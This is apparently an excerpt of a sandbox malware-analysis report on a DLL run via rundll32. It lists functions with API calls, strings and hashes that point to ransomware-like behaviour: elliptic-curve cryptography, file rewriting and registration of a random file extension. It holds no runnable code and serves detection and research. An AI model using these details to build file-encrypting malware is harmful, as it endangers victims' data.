Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$GetctypeYarn
String ID:
API String ID: 3181430533-0
Opcode ID: bce0b1a8ecfab9e38f8674e439e3375e182432a15fd4d4a20fb88bead0fd4870
Instruction ID: ccc28bbc9f8d6fe9fbb0e27ccea6149393d5e3bd593ee6cff2230c7934b31d50
Opcode Fuzzy Hash: bce0b1a8ecfab9e38f8674e439e3375e182432a15fd4d4a20fb88bead0fd4870
Instruction Fuzzy Hash: 4ED14D25B0BB0389EB459B11D8B1AB976A1AF587C4F084136D96D4F6FEDF3CE5418340

Function 00007FFDFB6C186C Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1203COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FFDFB6C18BB
_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6C1EEE
_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6C2064
_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6C2320
_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6C2540
_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6C277B
memcpy_s.LIBCPMT ref: 00007FFDFB6C2856
memcpy_s.LIBCPMT ref: 00007FFDFB6C2901
memcpy_s.LIBCPMT ref: 00007FFDFB6C29D1

Part of subcall function 00007FFDFB6AD08C: _invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6AD0BE

Strings

1#INF, xrefs: 00007FFDFB6C19E7
1#SNAN, xrefs: 00007FFDFB6C19CE
1#QNAN, xrefs: 00007FFDFB6C19D7
1#IND, xrefs: 00007FFDFB6C19AB

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: ff3c399792d43b71a05473038d2bd9b6aa1eda953fe6e59382b8136eecdb7488
Instruction ID: 778f071e7608cf7f1acf1b19afaea291fd1acbacc2c862c4c1471f39dc903d89
Opcode Fuzzy Hash: ff3c399792d43b71a05473038d2bd9b6aa1eda953fe6e59382b8136eecdb7488
Instruction Fuzzy Hash: 4EB2F6B2B1A2838BE764AF25D460FFD36A1FB44789F505135DA195BBE8DB38E500CB40

Function 00007FFDFB6227A0 Relevance: 23.3, APIs: 3, Strings: 10, Instructions: 521fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FFDFB622A66

Part of subcall function 00007FFDFB68EE08: Concurrency::cancel_current_task.LIBCPMT ref: 00007FFDFB68EE38
Part of subcall function 00007FFDFB68EE08: Concurrency::cancel_current_task.LIBCPMT ref: 00007FFDFB68EE3E

Strings

SubgroupOrder, xrefs: 00007FFDFB64A18D, 00007FFDFB64A4C4
InputBuffer, xrefs: 00007FFDFB622908
Cofactor, xrefs: 00007FFDFB64A1B9
m8k, xrefs: 00007FFDFB6229D2
DL_GroupParameters_EC<EC>, xrefs: 00007FFDFB64A3A1, 00007FFDFB64A41D, 00007FFDFB64A499
SubgroupGenerator, xrefs: 00007FFDFB64A169, 00007FFDFB64A448
GroupOID, xrefs: 00007FFDFB64A083
: missing required parameter ', xrefs: 00007FFDFB64A3B5, 00007FFDFB64A431, 00007FFDFB64A4AD
Curve, xrefs: 00007FFDFB64A146, 00007FFDFB64A3CC
8, xrefs: 00007FFDFB6228EF

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Concurrency::cancel_current_task$FileWrite
String ID: 8$: missing required parameter '$Cofactor$Curve$DL_GroupParameters_EC<EC>$GroupOID$InputBuffer$SubgroupGenerator$SubgroupOrder$m8k
API String ID: 3103766876-211031073
Opcode ID: 4f0785a80d1fa889a74131be575f960f3d07a54440a82134300a0ab91b4d96e1
Instruction ID: 85c35765d040915bc63d411100deb92c914fc6a9b5520f2279a5849b36791f28
Opcode Fuzzy Hash: 4f0785a80d1fa889a74131be575f960f3d07a54440a82134300a0ab91b4d96e1
Instruction Fuzzy Hash: 1C327E6270AA83A4EB20DF65E860AE96361FB84B84F404536DA6D4BBFDDF3CD545C340

Function 00007FFDFB663E00 Relevance: 20.3, Strings: 16, Instructions: 268COMMON

Download Yara Rule

Strings

Cent, xrefs: 00007FFDFB6640D6
ineI, xrefs: 00007FFDFB663F34
sbet, xrefs: 00007FFDFB663FEF
AMDi, xrefs: 00007FFDFB663FE6
Genu, xrefs: 00007FFDFB663F1A
ntel, xrefs: 00007FFDFB663F27
nGen, xrefs: 00007FFDFB66401B
ter!, xrefs: 00007FFDFB663FF8
auls, xrefs: 00007FFDFB6640DF
Auth, xrefs: 00007FFDFB663FCB
VIA2, xrefs: 00007FFDFB664104
enti, xrefs: 00007FFDFB663FDD
uine, xrefs: 00007FFDFB66400E
Hygo, xrefs: 00007FFDFB664001
cAMD, xrefs: 00007FFDFB663FD4
aurH, xrefs: 00007FFDFB6640E8

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID: AMDi$Auth$Cent$Genu$Hygo$VIA2$auls$aurH$cAMD$enti$ineI$nGen$ntel$sbet$ter!$uine
API String ID: 0-2699536740
Opcode ID: aac6ea4f5e08a0deee052234320d86a72c7a90c554d9356c5d0696ff0c9a45e7
Instruction ID: 32b7a3d4b7b4a4cacfb235ccab2202a6a5fd32cebaab6be32f708ebcbcc73e1a
Opcode Fuzzy Hash: aac6ea4f5e08a0deee052234320d86a72c7a90c554d9356c5d0696ff0c9a45e7
Instruction Fuzzy Hash: E9B1F972F1E3938DF714CB69A851AB87BA16B25344F04453FD89D8A7F9CA6CA941C700

Function 00007FFDFB63DCB0 Relevance: 16.5, Strings: 12, Instructions: 1517COMMON

Download Yara Rule

Strings

Integer: invalid EquivalentTo and/or Mod argument, xrefs: 00007FFDFB63F2D0
Max, xrefs: 00007FFDFB63DD90
Integer: missing Max argument, xrefs: 00007FFDFB63F30B
BitLength, xrefs: 00007FFDFB63DDB5
Integer: invalid RandomNumberType argument, xrefs: 00007FFDFB63F295
Integer: Min must be no greater than Max, xrefs: 00007FFDFB63F346
RandomNumberType, xrefs: 00007FFDFB63E149
Min, xrefs: 00007FFDFB63DD0B
Mod, xrefs: 00007FFDFB63DFB7
PointerToPrimeSelector, xrefs: 00007FFDFB63E7BF
Seed, xrefs: 00007FFDFB63E199
EquivalentTo, xrefs: 00007FFDFB63DF8D

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID: BitLength$EquivalentTo$Integer: Min must be no greater than Max$Integer: invalid EquivalentTo and/or Mod argument$Integer: invalid RandomNumberType argument$Integer: missing Max argument$Max$Min$Mod$PointerToPrimeSelector$RandomNumberType$Seed
API String ID: 0-484113829
Opcode ID: 193079dee957c0475ef02cad2eb20940c77fd1319180d527fa141ab0205b02de
Instruction ID: 9ae3339100338d4a062ab29764a2ddf5eec5bf68fd7c7b6aaa0e0b477cdf82ae
Opcode Fuzzy Hash: 193079dee957c0475ef02cad2eb20940c77fd1319180d527fa141ab0205b02de
Instruction Fuzzy Hash: D9E27D62B0AA8785EB608F64C460BFD23A1FB44798F444532EA2D5BBEDDF38D585C310

Function 00007FFDFB657850 Relevance: 15.2, APIs: 6, Strings: 2, Instructions: 1174COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDFB630AB0: _invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB630B64

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB658A08
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB658A0E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB658A14
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB658A1A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB658A20
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB658A26

Strings

gfffffff, xrefs: 00007FFDFB6583E6
gfffffff, xrefs: 00007FFDFB658648

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$_invalid_parameter_noinfo
String ID: gfffffff$gfffffff
API String ID: 1283921372-161084747
Opcode ID: 1aa1dcca52611f0f6f4853d77aa024107d4f1fb5c245c0e2ad76231b752e2b9d
Instruction ID: 3a3715d744e6d6db64b9a94e73d79bc6056c519c81c38f7bb079883479107f4a
Opcode Fuzzy Hash: 1aa1dcca52611f0f6f4853d77aa024107d4f1fb5c245c0e2ad76231b752e2b9d
Instruction Fuzzy Hash: 18B29C62B09A8686EB10CF26D5646FD6762FB84BC8F444132EE5D4BBADDF38E554C300

Function 00007FFDFB647120 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 245COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FFDFB647155
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB647481
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB64748D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB647493
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB647499
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB64749F

Part of subcall function 00007FFDFB612550: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB6126C8
Part of subcall function 00007FFDFB612550: Concurrency::cancel_current_task.LIBCPMT ref: 00007FFDFB6126CE

Strings

operation failed with error , xrefs: 00007FFDFB6471F2, 00007FFDFB647214
OS_Rng: , xrefs: 00007FFDFB6471A8

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskErrorLast
String ID: operation failed with error $OS_Rng:
API String ID: 2277578949-700108173
Opcode ID: 0e951ee22512db2bfde33aea6b483fbb6b0cdc68d156691f98565f83d1778fe4
Instruction ID: 7cf2a943c1ee7a8ed6ab81fd764d73b941f7149612691fe4b3709b11153af09e
Opcode Fuzzy Hash: 0e951ee22512db2bfde33aea6b483fbb6b0cdc68d156691f98565f83d1778fe4
Instruction Fuzzy Hash: 6AA1AF62B16F4685FB00DB64D4647AC3362EB45798F505631DA6C1BBE9DF38E185C340

Function 00007FFDFB64C960 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 461COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB64CDAC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB64CDB2

Strings

0051953EB9618E1C9A1F929A21A0B68540EEA2DA725B99B315F3B8B489918EF109E156193951EC7E937B1652C0BD3BB1BF073573DF883D2C34F1EF451FD46B503F00, xrefs: 00007FFDFB64CA41
01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA51868783BF2F966B7FCC0148F709A5D03BB5C9B8899C47AEBB6FB71E91386409, xrefs: 00007FFDFB64CA57
01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF, xrefs: 00007FFDFB64CA2B
01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC, xrefs: 00007FFDFB64CA36
0400C6858E06B70404E9CD9E3ECB662395B4429C648139053FB521F828AF606B4D3DBAA14B5E77EFE75928FE1DC127A2FFA8DE3348B3C1856A429BF97E7E31C2E5BD66011839296A789A3BC0045C8A5FB42C7D1BD998F54449579B446817AFBD17273E662C97EE72995EF42640C550B9013FAD0761353C7086A272C24088BE94769F, xrefs: 00007FFDFB64CA4C

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: 0051953EB9618E1C9A1F929A21A0B68540EEA2DA725B99B315F3B8B489918EF109E156193951EC7E937B1652C0BD3BB1BF073573DF883D2C34F1EF451FD46B503F00$01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA51868783BF2F966B7FCC0148F709A5D03BB5C9B8899C47AEBB6FB71E91386409$01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC$01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF$0400C6858E06B70404E9CD9E3ECB662395B4429C648139053FB521F828AF606B4D3DBAA14B5E77EFE75928FE1DC127A2FFA8DE3348B3C1856A429BF97E7E31C2E5BD66011839296A789A3BC0045C8A5FB42C7D1BD998F54449579B446817AFBD17273E662C97EE72995EF42640C550B9013FAD0761353C7086A272C24088BE94769F
API String ID: 3668304517-1865088009
Opcode ID: 82c53523edf7d0a995e4ece011a4153994e16df8a2546ac64b79b4914afee64e
Instruction ID: 2136c5e99b7101a29af644cc030a1e4c7c208a801c20de94b8472219e6323eb3
Opcode Fuzzy Hash: 82c53523edf7d0a995e4ece011a4153994e16df8a2546ac64b79b4914afee64e
Instruction Fuzzy Hash: 7D129F32B06A8695EB10DF61D4A0AED7361FB48B98F408432EE6D4BBADDF38D555C340

Function 00007FFDFB624560 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 450fileCOMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNEL32 ref: 00007FFDFB6247D5
CreateFileW.KERNEL32 ref: 00007FFDFB624808
GetFileSizeEx.KERNEL32 ref: 00007FFDFB62481F
CloseHandle.KERNEL32 ref: 00007FFDFB624830
CloseHandle.KERNEL32 ref: 00007FFDFB624D4A

Part of subcall function 00007FFDFB624EA0: ReadFile.KERNEL32 ref: 00007FFDFB624F23
Part of subcall function 00007FFDFB624EA0: WriteFile.KERNEL32 ref: 00007FFDFB624F53
Part of subcall function 00007FFDFB624EA0: WriteFile.KERNEL32 ref: 00007FFDFB624FB4

Strings

InputBuffer, xrefs: 00007FFDFB6246FD
, xrefs: 00007FFDFB6249C9

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: File$CloseHandleWrite$AttributesCreateReadSize
String ID: $InputBuffer
API String ID: 3674849466-1310065191
Opcode ID: b587f3f2ac6ca7eeb796e885c353174e31fde961611e07651455a46946ed5bcd
Instruction ID: 738170a1ad98f8ffcdc5453ce0113b272dedbc9ae62e845a0919870ba4523f69
Opcode Fuzzy Hash: b587f3f2ac6ca7eeb796e885c353174e31fde961611e07651455a46946ed5bcd
Instruction Fuzzy Hash: 9A326176B0AB8385EB60DB10E4607BA7364FB84795F404536EAAD57BA8EF3CE144C740

Function 00007FFDFB6176E0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 148registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32 ref: 00007FFDFB617860
RegSetValueExW.ADVAPI32 ref: 00007FFDFB61789D
SHChangeNotify.SHELL32 ref: 00007FFDFB6178B0
SHChangeNotify.SHELL32 ref: 00007FFDFB6178C6

Strings

.y11o7dcib, xrefs: 00007FFDFB617726

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: ChangeNotify$CreateValue
String ID: .y11o7dcib
API String ID: 846225995-2862141232
Opcode ID: 3b6c115afc2dbfcc55e36a7427db89d4fa019c608af6a75d5c69b59f31e8ff30
Instruction ID: 14d4d9a0681ec33ce81f01101ca5f5eb2a024e31ba5a3db790ce15c4a9b59fd8
Opcode Fuzzy Hash: 3b6c115afc2dbfcc55e36a7427db89d4fa019c608af6a75d5c69b59f31e8ff30
Instruction Fuzzy Hash: 5961AE72B19A42D9E7108F64E4A4BAD33A1FB4479CF406225EA6C0BEE9DF78D154C704

Function 00007FFDFB619940 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 496COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB61A06F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB61A075
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB61A07B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB61A08E

Strings

bad conversion, xrefs: 00007FFDFB61A081
ios_base::badbit set, xrefs: 00007FFDFB619942

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: bad conversion$ios_base::badbit set
API String ID: 3668304517-3204926396
Opcode ID: 69eba80f910d6b05a9af7a9ca41b3ac6ce2a44d6c1c273c31b3a4a49c33285f1
Instruction ID: e1944ae5698f1b78ab2d212720c804a016ef1e69115ec0539ffa1ae22ff24b5f
Opcode Fuzzy Hash: 69eba80f910d6b05a9af7a9ca41b3ac6ce2a44d6c1c273c31b3a4a49c33285f1
Instruction Fuzzy Hash: 1A12D062F1AB42A5EB00DB65D4246AD2376AB04BD8F406631DE7D1BBECDF38E055C344

Function 00007FFDFB6B87A8 Relevance: 10.8, APIs: 7, Instructions: 286COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6B8BDA

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

